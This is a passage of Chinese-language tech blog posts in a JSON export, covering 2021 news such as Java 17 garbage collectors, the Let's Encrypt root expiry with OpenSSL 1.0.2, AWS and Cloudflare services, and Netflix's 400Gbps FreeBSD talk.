href=\"https://zh.wikipedia.org/wiki/Wikipedia:2021%E5%B9%B4%E5%9F%BA%E9%87%91%E6%9C%83%E9%87%9D%E5%B0%8D%E4%B8%AD%E6%96%87%E7%B6%AD%E5%9F%BA%E7%99%BE%E7%A7%91%E7%9A%84%E8%A1%8C%E5%8B%95\">Wikipedia:2021年基金會針對中文維基百科的行動</a>」這邊也有一些記錄。\r\n\r\n看到連 Outlookxp 都被拔了，總算是出手了啊...\r\n\r\n另外補充一下在 mailing list 上看到的資料，原始的 Twitter 已經刪除，但 <a href=\"https://web.archive.org/\">Internet Archive</a> 上面還有備份：\r\n\r\n<a href=\"https://web.archive.org/web/20210914024812/https://twitter.com/Philip_Tzou/status/1437543054043275265\">https://web.archive.org/web/20210914024812/https://twitter.com/Philip_Tzou/status/1437543054043275265</a>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/C9FW5ZY.webp\" /><img src=\"https://i.gslin.com/imgur/C9FW5ZY.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AwnQvQA.webp\" /><img src=\"https://i.gslin.com/imgur/AwnQvQA.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/d05HxIb.webp\" /><img src=\"https://i.gslin.com/imgur/d05HxIb.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nwmnlme.webp\" /><img src=\"https://i.gslin.com/imgur/nwmnlme.png\" alt=\"\" /></picture>",
    "title": "維基基金會對中國大陸維基人用戶組的行動 (WMCUG)"
  },
  {
    "id": "10326",
    "body": "看到 <a href=\"https://www.openssl.org/\">OpenSSL</a> 的官方居然特地寫一篇與 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的相容性問題：「<a href=\"https://www.openssl.org/blog/blog/2021/09/13/LetsEncryptRootCertExpire/\">Old Let’s Encrypt Root Certificate Expiration and OpenSSL 1.0.2</a>」。\r\n\r\n這邊提到的 OpenSSL 1.0.2 很舊了 (在 <a href=\"https://ubuntu.com/\">Ubuntu</a> 16.04 內是 <code>1.0.2g</code>)，理論上大多數的機器應該不太會遇到這個問題。\r\n\r\n問題出自 Let's Encrypt 舊的 <a href=\"https://ssl-tools.net/subjects/6ff4684d4312d24862819cc02b3d472c1d8a2fa6\">DST Root CA X3</a> 將在這個月月底過期，這在 Let's Encrypt 的「<a href=\"https://letsencrypt.org/docs/dst-root-ca-x3-expiration-september-2021/\">DST Root CA X3 Expiration (September 2021)</a>」這邊也有提到。\r\n\r\n<blockquote>The currently recommended certificate chain as presented to Let’s Encrypt ACME clients when new certificates are issued contains an intermediate certificate (ISRG Root X1) that is signed by an old DST Root CA X3 certificate that expires on 2021-09-30.</blockquote>\r\n\r\n理想上只有要任何一條 trust chain 成立，就應該會把這個憑證認為是合法的憑證，但這在 OpenSSL 1.0.2 (以及之前的版本) 不是這樣設計。\r\n\r\n舊版的設計是只要有任何一條過期的憑證，就會把憑證認為過期而失效：\r\n\r\n<blockquote>Unfortunately this does not apply to OpenSSL 1.0.2 which always prefers the untrusted chain and if that chain contains a path that leads to an expired trusted root certificate (DST Root CA X3), it will be selected for the certificate verification and the expiration will be reported.</blockquote>\r\n\r\nOpenSSL 官方給了三個 workaround 可以做，另外我還有想到一個惡搞方式，是可以用其他家免費的憑證... 不過也是得測看看在 OpenSSL 1.0.2 下會不會動。",
    "title": "OpenSSL 1.0.2 與 Let's Encrypt 在這個月月底的相容性問題"
  },
  {
    "id": "10327",
    "body": "看到 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出新機種 <code>vt1</code>，專門為影片壓縮而推出的 family type：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-vt1-instances-for-live-multi-stream-video-transcoding/\">New – Amazon EC2 VT1 Instances for Live Multi-stream Video Transcoding</a>」。\r\n\r\n主要是透過 <a href=\"https://www.xilinx.com/products/boards-and-kits/alveo/u30.html\">Alveo U30 Data Center Accelerator Card</a> 這張卡加速，號稱比 GPU 機器還要省 30% 的費用 (CPU 的話可以到 60%)：\r\n\r\n<blockquote>These VT1 instances feature Xilinx® Alveo™ U30 media accelerator transcoding cards with accelerated H.264/AVC and H.265/HEVC codecs and provide up to 30% better price per stream compared to the latest GPU-based EC2 instances and up to 60% better price per stream compared to the latest CPU-based EC2 instances.</blockquote>\r\n\r\n看規格支援 <a href=\"https://en.wikipedia.org/wiki/H.264\">H.264</a> 與 <a href=\"https://en.wikipedia.org/wiki/H.265\">H.265</a>，不過看起來沒支援 royalty-free 的 <a href=\"https://en.wikipedia.org/wiki/VP9\">VP9</a> 與 <a href=\"https://en.wikipedia.org/wiki/AV1\">AV1</a>...\r\n\r\n另外這跟 <a href=\"https://aws.amazon.com/mediaconvert/\">AWS Elemental MediaConvert</a> 以及 <a href=\"https://aws.amazon.com/elemental-live/\">AWS Elemental Live</a> 好像稍微有點打對台？另外專利的費用不知道怎麼算...",
    "title": "Amazon EC2 推出 VT1 Instance"
  },
  {
    "id": "10329",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Java_(programming_language)\">Java</a> 17 (<a href=\"https://en.wikipedia.org/wiki/Java_Development_Kit\">JDK</a> 17) 釋出，這是 <a href=\"https://www.oracle.com/\">Oracle</a> 本家新的 LTS 版本，引用的是 <a href=\"https://mail.openjdk.java.net/mailman/listinfo/jdk-dev\">jdk-dev</a> 的 mailing list：「<a href=\"https://mail.openjdk.java.net/pipermail/jdk-dev/2021-September/006037.html\">Java 17 / JDK 17: General Availability</a>」。另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論可以翻一下：「<a href=\"https://news.ycombinator.com/item?id=28525378\">Java 17 / JDK 17: General Availability (java.net)</a>」。\r\n\r\n上一個 LTS 版本是 Java 11，所以很自然的也會有從 Java 11 之後的新功能說明：「<a href=\"https://openjdk.java.net/projects/jdk/17/jeps-since-jdk-11\">JEPs in JDK 17 integrated since JDK 11</a>」。\r\n\r\n對於只是拿來用，而不是拿來開發的人來說，我的重點都放在 <a href=\"https://en.wikipedia.org/wiki/Java_virtual_machine\">JVM</a> 的 GC 效能以及特性。\r\n\r\n從 Java 11 預設的 G1GC 來看，可以看到一些改善，從「<a href=\"https://openjdk.java.net/jeps/345\">JEP 345: NUMA-Aware Memory Allocation for G1</a>」(Java 14) 這個看起來會改善 G1GC 在多實體 CPU 的情況下效能，不過看起來有 <code>-XX:+UseNUMA</code> 這個參數要加。\r\n\r\n再來是「<a href=\"https://openjdk.java.net/jeps/346\">JEP 346: Promptly Return Unused Committed Memory from G1</a>」(Java 12) 可以在閒閒的時候跑個 GC 把記憶體給 OS。\r\n\r\n接下來是兩個新的 GC (相較於 11 版)，一個是 <a href=\"https://wiki.openjdk.java.net/display/zgc/Main\">ZGC</a>，另外一個是 <a href=\"https://wiki.openjdk.java.net/display/shenandoah/Main\">Shenandoah</a>，都沒有取代 G1GC，但兩個都有對應使用的場景。\r\n\r\nZGC 有列兩個 JEP：「<a href=\"https://openjdk.java.net/jeps/376\">JEP 376: ZGC: Concurrent Thread-Stack Processing</a>」、「<a href=\"https://openjdk.java.net/jeps/377\">JEP 377: ZGC: A Scalable Low-Latency Garbage Collector (Production)</a>」，目標是讓 GC pause time 盡可能的低，另外在 wiki 上面的說明則是有提到目標在 1ms 以下：\r\n\r\n<blockquote>The ZGC garbage collector (GC) aims to make GC pauses and scalability issues in HotSpot a thing of the past.</blockquote>\r\n\r\n<blockquote>Sub-millisecond max pause times</blockquote>\r\n\r\nShenandoah 列出了「<a href=\"https://openjdk.java.net/jeps/379\">JEP 379: Shenandoah: A Low-Pause-Time Garbage Collector (Production)</a>」，不過先前的「<a href=\"https://openjdk.java.net/jeps/189\">JEP 189: Shenandoah: A Low-Pause-Time Garbage Collector (Experimental)</a>」講的比較詳細，目標是希望 GC 不影響目前正在執行的程式：\r\n\r\n<blockquote>Add a new garbage collection (GC) algorithm named Shenandoah which reduces GC pause times by doing evacuation work concurrently with the running Java threads. Pause times with Shenandoah are independent of heap size, meaning you will have the same consistent pause times whether your heap is 200 MB or 200 GB.</blockquote>\r\n\r\n可以看出來兩個新的 GC 都是希望降低 pause time，對於 latency 敏感的應用應該都可以測試看看，可以預期整體的 throughput 會低一些。\r\n\r\n回頭來看 G1GC，有人跑了 benchmark 測試了 Java 11 與 Java 17 的 G1GC 差異：「<a href=\"https://www.optaplanner.org/blog/2021/09/15/HowMuchFasterIsJava17.html\">How much faster is Java 17?</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X1RcX4C.webp\" /><img src=\"https://i.gslin.com/imgur/X1RcX4C.png\" alt=\"\" /></picture>\r\n\r\n可以看到 G1GC 的改善 (藍色的部份) 看起來還是不少，不過有些情況下是會變慢的。文章裡面還有提到 Parallel GC，這邊就不提了，可以自己看...\r\n\r\n等各家 build 出來後來測看看 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 的效能影響如何...",
    "title": "Java 17 (JDK 17)，新的 Java LTS 版本 (然後來看 GC)"
  },
  {
    "id": "10330",
    "body": "這兩篇剛好一起看，<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 支援了 <a href=\"https://www.arm.com/\">ARM</a> 架構的 <code>t4g</code> 與 <code>x2g</code>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/09/amazon-rds-x2g-mysql-mariadb-postgresql/\">Amazon RDS now supports X2g instances for MySQL, MariaDB, and PostgreSQL databases.</a>」與「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/09/amazon-rds-t4g-mysql-mariadb-postgresql/\">Amazon RDS now supports T4g instances for MySQL, MariaDB, and PostgreSQL databases.</a>」。\r\n\r\n目前主要是關注 <code>t4g</code>，因為目前量的關係反而是大量使用 <code>t4g</code> 類的機器，如果上面的 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 可以跑 <code>t4g</code> 的話，看起來只要沒有買 RI 的可以換過去，主要是比 <code>t3</code> 再省一些錢：以新加坡區的 PostgreSQL 來說，<code>db.t4g.micro</code> 目前是 $0.025/hr，而 <code>db.t3.micro</code> 則是 $0.028/hr，差不多是九折。\r\n\r\n沒意外的話效能應該也會提昇一些，不過用 <code>t</code> 系列的機器本來就沒有太大的量在上面跑，這點應該是還好...",
    "title": "Amazon RDS 支援 ARM 架構的 t4g 與 x2g"
  },
  {
    "id": "10334",
    "body": "之前有訂起來的是「<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a>」，每天會整理 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的熱門資料。後來發現 <a href=\"https://en.wikipedia.org/wiki/Colin_Percival\">Colin Percival</a> 有針對 Ask 的部份另外整理出來，一週一次：「<a href=\"https://www.daemonology.net/hn-weekly-ask/\">Ask Hacker News Weekly</a>」。\r\n\r\n另外是 <a href=\"https://lobste.rs/\">Lobsters</a> 這個站也還是有一些 active user，裡面的東西偏技術，然後也有人用程式整理出「<a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a>」可以訂。\r\n\r\n算是多一些東西可以看...",
    "title": "多看兩個來源的整理：Ask Hacker News Weekly 與 Lobsters Daily"
  },
  {
    "id": "10336",
    "body": "這篇放在 browser tab 上一陣子了，今天找機會玩一下... 這是 <a href=\"https://en.wikipedia.org/wiki/Brendan_Gregg\">Brendan Gregg</a> 的工具，以及他說明怎麼用他來 profiling：「<a href=\"https://www.brendangregg.com/blog/2021-08-30/high-rate-of-paging.html\">Analyzing a High Rate of Paging</a>」。\r\n\r\n裡面提到的 <a href=\"https://en.wikipedia.org/wiki/Iostat\">iostat</a> 與 <a href=\"https://linux.die.net/man/1/free\">free</a> 算是基本盤了，但裡面提到了很多看起來很神奇的東西，像是 biolatency、bitesize、cachestat，可以裝 <a href=\"https://packages.ubuntu.com/focal/bpfcc-tools\">bpfcc-tools</a> 來用，檔名會加上 <code>-bpfcc</code> 的 suffix (像是 biolatency-bpfcc 這樣)。\r\n\r\n三隻程式都需要 root 才能跑，對我來說，在 database 上面分析效能應該是很好用... 好像可以考慮直接當作預設安裝裝到每台機器上？",
    "title": "Brendan Gregg 的工具與 profiling 技巧"
  },
  {
    "id": "10337",
    "body": "<a href=\"https://developers.cloudflare.com/images/\">Cloudflare Images</a> 開放付費使用了：「<a href=\"https://blog.cloudflare.com/announcing-cloudflare-images/\">Cloudflare Images Now Available to Everyone</a>」。\r\n\r\n檔案傳到 Cloudflare 上面，然後另外收處理費用：\r\n\r\n<blockquote>You pay $5/month for every 100,000 stored images and $1 per 100,000 delivered images. There are no additional resizing, compute or egress costs.</blockquote>\r\n\r\n檔案大小的限制是 10MB，所以 $5/month 的 storage 最多可以提供 1TB 的空間，$0.005/GB 算是很漂亮的數字，如果是小圖的話就會比較虧一些？看起來丟大圖會開心一點...\r\n\r\n<blockquote>Cloudflare Images offers multiple ways to upload your images. We accept all the common file formats including JPEG, GIF and WEBP. Each image uploaded to Images can be up to 10 MB.</blockquote>\r\n\r\n然後支援的檔案格式有常見的 <a href=\"https://en.wikipedia.org/wiki/GIF\">GIF</a>、<a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a>、<a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a> 以及 <a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a>：\r\n\r\n<blockquote>When a client requests an image, Cloudflare Images will pick the optimal format between WebP, PNG, JPEG and GIF.</blockquote>\r\n\r\n另外有計畫要支援 <a href=\"https://en.wikipedia.org/wiki/AVIF\">AVIF</a>：\r\n\r\n<blockquote>We’re just getting started with Cloudflare Images. Here are some of the features we plan to support soon:\r\n\r\nAVIF support for even smaller file sizes and faster load times.</blockquote>\r\n\r\n沒提到 durability，不知道會有多少...",
    "title": "Cloudflare Images"
  },
  {
    "id": "10338",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://www.netflix.com/\">Netflix</a> 在 <a href=\"https://2021.eurobsdcon.org/\">EuroBSDCon 2021</a> 上發表的投影片：「<a href=\"https://people.freebsd.org/~gallatin/talks/euro2021.pdf\">Serving Netflix Video at 400Gb/s on FreeBSD</a>」，對應的討論則是在「<a href=\"https://news.ycombinator.com/item?id=28584738\">Serving Netflix Video at 400Gb/s [pdf] (freebsd.org)</a>」這邊可以翻到，投影片的作者有在上面回答一些問題。\r\n\r\n投影片在講的應該就是 Netflix 的 <a href=\"https://openconnect.netflix.com/\">Open Connect</a>。\r\n\r\n主要是因為 Open Connect 的伺服器是放到各家 ISP 機房，在單一 IP 且單一伺服器的限制下，要想辦法壓榨出最高的效能。\r\n\r\n硬體是 <a href=\"https://www.amd.com/\">AMD</a> 的 <a href=\"https://en.wikipedia.org/wiki/Epyc\">EPYC</a>，在先前的版本可以達到 240Gbps，經過分析與嘗試解決了一堆問題後，最後是在原來的 AMD 機器上跑到了 380Gbps (另外有測 <a href=\"https://www.arm.com/\">ARM</a> 以及 <a href=\"https://www.intel.com/\">Intel</a> 的數字)，然後之後機房有可能會有 800Gbps 的標準，他們又要繼續煩惱...\r\n\r\n有看到 Mellanox ConnectX-6 Dx (CX6-DX) 這個東西，看起來很有趣啊，有 200Gbps 的能力，而且可以把 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 的事情推到卡上面處理... 然後這家公司被 <a href=\"https://www.nvidia.com/\">Nvidia</a> 買走了。\r\n\r\n另外當然也會有人問為什麼不用 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>，作者在討論串裡面也有回答一些，有興趣的可以自己去搜一下。",
    "title": "Netflix 在單機服務 400Gbps 的影音流量"
  },
  {
    "id": "10340",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://www.dothq.co/\">Dot</a> 這個瀏覽器，平常看各種標語已經麻木了 (什麼 privacy enhanced 之類的)，讓鄉民看上眼的是，這是一個 <a href=\"https://en.wikipedia.org/wiki/Gecko_(software)\">Gecko</a> 寫的瀏覽器，也就是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的底層，而不是 <a href=\"https://en.wikipedia.org/wiki/Blink_(browser_engine)\">Blink</a> (就 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 那個系列)：「<a href=\"https://news.ycombinator.com/item?id=28584630\">Dot Browser – privacy-conscious web browser (github.com/dothq)</a>」。\r\n\r\n抓下來跑了一下，看起來就如同 <a href=\"https://github.com/\">GitHub</a> 頁面上的警告：\r\n\r\n<blockquote>Dot Browser is alpha software, and you will most likely experience bugs and issues!</blockquote>\r\n\r\n目前功能也超陽春，還沒支援 extension 之類的東西... 不過是有內建 <a href=\"https://en.wikipedia.org/wiki/Ad_blocking\">ad blocking</a> 與 usercss 的能力，算是基本盤吧。\r\n\r\n可以放著看看發展的如何...",
    "title": "用 Gecko Engine 寫的另外一個瀏覽器 Dot"
  },
  {
    "id": "10341",
    "body": "本來的舊的 <a href=\"https://ubuntu.com/security/esm\">Ubuntu ESM</a> 是額外的三年 (加上本來的 LTS 五年，共八年)，14.04 會支援到 2022 年四月 (參考 <a href=\"https://web.archive.org/\">Internet Archive</a> 上的存檔資料「<a href=\"https://web.archive.org/web/20200919031957/https://ubuntu.com/blog/ubuntu-14-04-esm-support\">Ubuntu 14.04 LTS has transitioned to ESM support</a>」)，然後 16.04 會支援到 2024 年四月 (參考 Internet Archive 上的存檔資料「<a href=\"https://web.archive.org/web/20210503101414/https://ubuntu.com/blog/ubuntu-16-04-lts-transitions-to-extended-security-maintenance-esm\">Ubuntu 16.04 LTS transitions to Extended Security Maintenance (ESM)</a>」)，而 18.04 與 20.04 以後的 Ubuntu ESM 則是額外五年。\r\n\r\n現在則是宣佈 14.04 與 16.04 都切齊額外五年了，所以總共都是十年：「<a href=\"https://ubuntu.com/blog/ubuntu-14-04-and-16-04-lifecycle-extended-to-ten-years\">Ubuntu 14.04 and 16.04 lifecycle extended to ten years</a>」。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論可以看一下：「<a href=\"https://news.ycombinator.com/item?id=28605924\">Ubuntu 14.04 and 16.04 lifecycle extended to ten years (ubuntu.com)</a>」，有人覺得這個政策很糟，但我覺得還好，有些商業環境就是花錢解決懶得升級... (沒有 support 只有 security update 的方案，一台實體機器才 USD$225/year，如果是虛擬機的話就更便宜了)\r\n\r\n算是對付 legacy application 還蠻重要的方案...",
    "title": "Ubuntu 14.04 與 16.04 的 ESM 從八年延長到十年"
  },
  {
    "id": "10342",
    "body": "看到「<a href=\"https://ghuntley.com/internet/\">There are six internet links on my office on wheels. Seven when Starlink arrives. Is this the best internet in Australia?</a>」這篇，作者在箱型車上接了六個 Internet 服務，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論可以翻一下：「<a href=\"https://news.ycombinator.com/item?id=28593698\">There are six internet links on my office on wheels—seven when Starlink arrives (ghuntley.com)</a>」。\r\n\r\n作者畫的架構圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iNtw4jT.webp\" /><img src=\"https://i.gslin.com/imgur/iNtw4jT.png\" alt=\"\" /></picture>\r\n\r\n然後有車子外部的圖片：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5NbXf2p.webp\" /><img src=\"https://i.gslin.com/imgur/5NbXf2p.jpg\" alt=\"\" /></picture>\r\n\r\n另外在這張截圖可以看到其中四個 ISP：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jmz3RIv.webp\" /><img src=\"https://i.gslin.com/imgur/jmz3RIv.jpg\" alt=\"\" /></picture>\r\n\r\n然後作者提到了 <a href=\"https://speedify.com/\">Speedify</a> 這個付費軟體 (月費)，可以把多個 ISP 的頻寬綁起來，不過我想要看看自己怎麼在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 桌機上搞，畢竟我家裡也有兩條固網 (<a href=\"https://www.hinet.net/\">HiNet</a> 與<a href=\"https://www.taipeinet.com.tw/\">北都</a>)，能夠自動 failover 就算符合我的用途了...",
    "title": "在箱型車上安裝六個 Internet 服務 (Remote Work？)"
  },
  {
    "id": "10343",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈可以在自家機器上跑 runner 了：「<a href=\"https://github.blog/changelog/2021-09-20-github-actions-ephemeral-self-hosted-runners-new-webhooks-for-auto-scaling/\">GitHub Actions: Ephemeral self-hosted runners &amp; new webhooks for auto-scaling</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論可以看看：「<a href=\"https://news.ycombinator.com/item?id=28601618\">GitHub Actions: Ephemeral self-hosted runners and new webhooks for auto-scaling (github.blog)</a>」。\r\n\r\n另外一個重要的功能是提供 webhook，讓你可以 auto scaling，我猜之後應該會有人寫一些工具讓你在雲端上跑：「<a href=\"https://docs.github.com/en/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners\">Autoscaling with self-hosted runners</a>」。\r\n\r\n不過目前我自己大多數的東西都沒在 GitHub Actions 上跑...",
    "title": "GitHub Actions 可以跑在自家機器上了"
  },
  {
    "id": "10345",
    "body": "看到「<a href=\"https://hacker-recommended-books.vercel.app/\">HackerNews Readings</a>」這個站，上面說他分析了 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論，然後給出書單：\r\n\r\n<blockquote>40,000 HackerNews book recommendations identified using NLP and deep learning</blockquote>\r\n\r\n點進去目前的預設 category (All Categories) 第一名是 <a href=\"https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow\">Thinking, Fast and Slow</a> (<a href=\"https://zh.wikipedia.org/wiki/%E5%BF%AB%E6%80%9D%E6%85%A2%E6%83%B3\">快思慢想</a>)，左邊有拉出 <a href=\"https://www.amazon.com/\">Amazon.com</a> 上的評分，右邊可以看到對這本書的評論。\r\n\r\n想要拉一些書來看可以從這邊翻翻看...",
    "title": "分析 Hacker News 上的討論所給出的書單"
  },
  {
    "id": "10347",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，美國聯邦政府的 CIO <a href=\"https://en.wikipedia.org/wiki/Clare_Martorana\">Clare Martorana</a> 行文建議行政管理和預算局 (Office of Management and Budget) 安裝 ad block 軟體以確保資訊安全：「<a href=\"https://www.vice.com/en/article/93ypke/the-nsa-and-cia-use-ad-blockers-because-online-advertising-is-so-dangerous\">The NSA and CIA Use Ad Blockers Because Online Advertising Is So Dangerous</a>」。行文的文件在「<a href=\"https://www.documentcloud.org/documents/21068028-wyden-letter-to-omb-on-ad-blocking\">Wyden Letter to OMB on Ad-Blocking</a>」這邊可以看到，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=28631005\">The NSA and CIA use ad blockers (vice.com)</a>」也可以翻。\r\n\r\n有很多惡意軟體 (像是 malware) 會透過合法的 ad network 散布，然後竊取資料，甚至是透過麥克風監聽環境音：\r\n\r\n<blockquote>I write to urge the Office of Management and Budget (OMB) to protect federal networks from foreign spies and criminals who misuse online advertising for hacking and surveillance, by setting clear new rules for agencies in its forthcoming “zero trust” cybersecurity policy.</blockquote>\r\n\r\n<blockquote>I have pushed successive administrations to respond more appropriately to surveillance threats, including from foreign governments and criminals exploiting online advertisingto hack federal systems. This includes seemingly innocuous online advertisements, which can be used to deliver ‘malware to phones and computers—often without requiring users to click anything. This ‘malware can steal, modify or wipe sensitive government data, or record conversations by remotely enabling a computers built-in microphone.</blockquote>\r\n\r\n記得我是從 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 還叫做 Phoenix 的時代就在用 ad blocker 了... 建議大家一定要裝啊，以現在來說應該都是裝 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>，在有支援 extension 的瀏覽器都有商店可以直接安裝。",
    "title": "美國聯邦政府 CIO 以資安理由建議安裝 ad block 軟體"
  },
  {
    "id": "10348",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到 <a href=\"https://imgur.com/\">Imgur</a> 被 <a href=\"https://www.medialab.com/\">MediaLab</a> 併購的消息：「<a href=\"https://news.ycombinator.com/item?id=28674883\">Imgur Acquired by Medialab (imgur.com)</a>」，Imgur 的 PR 稿是在「<a href=\"https://imgur.com/gallery/We6yCM2\">Celebrating Imgur's Next Chapter</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jCuWe9b.webp\" /><img src=\"https://i.gslin.com/imgur/jCuWe9b.png\" alt=\"\" /></picture>\r\n\r\n看了一下官方的聲明，沒有提到會維持免費或是要收費的事情，另外也沒有提到不會改變之類的事情，我猜應該是會改變商業模式... 之後有遇到再把本來在 blog 上的連結改成 self-hosting。",
    "title": "Imgur 被 MediaLab 併購"
  },
  {
    "id": "10349",
    "body": "今年的 <a href=\"https://aws.amazon.com/tw/events/taiwan/2021summit/\">AWS Summit Taiwan 2021</a> 是線上的形式，早在前一個月前就先預錄好，但開始的時候就忘記要宣傳一下了... 結果是在找資料的時候發現其他人有提到：「<a href=\"https://terahake.in/post/aws-workshop-ha-vault-env/\">AWS實作紀錄 #2：高可用性保管服務 (2021 AWS Summit Taiwan)</a>」。\r\n\r\n投影片與影片如果有興趣的人可以去 AWS 活動頁面上看，或者上面提到的那篇。\r\n\r\n這次講的主題是想要在雲端上面搭建 Vault，但又不希望自己搞一堆 High Availability 的架構，最好是雲端服務本身就有提供... 而既然是在 <a href=\"https://aws.amazon.com/\">AWS</a> 的場子，主要都還是以 AWS 的服務來搭建。\r\n\r\n在這次的設計裡，Vault 的資料是放在 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 上，然後透過 <a href=\"https://aws.amazon.com/kms/\">KMS</a> 管理加密用的，這兩個服務本身都有 High Availability，所以直接用就可以了。\r\n\r\n接下來是跑 <a href=\"https://www.vaultproject.io/\">Vault</a> 程式的部份，這部份得自己處理 High Availability 的架構，我是用兩台很小台的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance (<code>t4g.nano</code>) 在跑，這邊也可以換成 <a href=\"https://aws.amazon.com/ecs/\">ECS</a> 或是 <a href=\"https://aws.amazon.com/eks/\">EKS</a> 的 container。\r\n\r\n接下來把這兩台 EC2 instance 掛起來的也都是 High Availability 服務：在 EC2 instance 前面用 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 擋住提供 HTTP API 服務，另外這邊即使是內部用，也可以上 HTTPS (透過 <a href=\"https://aws.amazon.com/certificate-manager/\">ACM</a> 掛上 HTTPS 的憑證)。\r\n\r\n在 ELB 上看到只有一台機器活著是正常的，因為兩台機器之間是 active-standby 架構，同時間只會有一台機器在運作，而 lock 的機制是 Vault 透過 DynamoDB 實做的，不需要另外處理。\r\n\r\n其實裡面大多數的元件都可以抽換，像是 DynamoDB 也可以用其他的服務來當儲存層，馬上可以想到的是 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 的 <a href=\"https://aws.amazon.com/rds/mysql/\">MySQL</a> 或是 <a href=\"https://aws.amazon.com/rds/postgresql/\">PostgreSQL</a>。\r\n\r\n概念上不算困難，所以投影片上主要就是給設定檔，這樣方便大家抄，不用在自己摸指令摸半天...",
    "title": "在 AWS Summit Taiwan 2021 上講的 HashiCorp Vault"
  },
  {
    "id": "10350",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈了 Cloudflare R2 Storage，相容於 S3 API，但是沒有傳輸費用：「<a href=\"https://blog.cloudflare.com/introducing-r2-object-storage/\">Announcing Cloudflare R2 Storage: Rapid and Reliable Object Storage, minus the egress fees</a>」，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=28682237\">Cloudflare R2 storage: Rapid and reliable object storage, minus the egress fees (cloudflare.com)</a>」可以看一下討論，裡面有負責 R2 的 PM (帳號是 <a href=\"https://news.ycombinator.com/user?id=greg-m\">greg-m</a>) 回答一些東西。\r\n\r\nR2 的第一個特點就是剛剛提到的傳輸費用：一般的雲端都是傳進去不用錢，但傳出來會很貴，而 R2 其中一個主打的點就是傳出來不用錢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/s5Lnep8.webp\" /><img src=\"https://i.gslin.com/imgur/s5Lnep8.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>R2 builds on Cloudflare’s commitment to the Bandwidth Alliance, providing zero-cost egress for stored objects — no matter your request rate.  Egress bandwidth is often the largest charge for developers utilizing object storage and is also the hardest charge to predict.  Eliminating it is a huge win for open-access to data stored in the cloud.</blockquote>\r\n\r\n另外 storage cost 也算低，<a href=\"https://aws.amazon.com/s3/\">S3</a> 目前的費用是 US$0.023/GB/month (拿 <code>us-east-1</code> 相比)，而 R2 目前的定價是 US$0.015/GB/month：\r\n\r\n<blockquote>That doesn’t mean we are shifting bandwidth costs elsewhere. Cloudflare R2 will be priced at $0.015 per GB of data stored per month — significantly cheaper than major incumbent providers.</blockquote>\r\n\r\n在 durability 的部份，與 S3 都是一年 11 個 9：\r\n\r\n<blockquote>The core of what makes Object Storage great is reliability — we designed R2 for data durability and resilience at its core. R2 will provide 99.999999999% (eleven 9’s) of annual durability, which describes the likelihood of data loss.</blockquote>\r\n\r\n目前還沒有公開，算是先對市場放話：\r\n\r\n<blockquote>R2 is currently under development — you can sign up here to join the waitlist for access.</blockquote>\r\n\r\n有幾個點還蠻有趣的，第一個是 Cloudflare 自己在推的 <a href=\"https://www.cloudflare.com/bandwidth-alliance/\">Bandwidth Alliance</a> 裡有不少 VPS 跟 Cloudflare 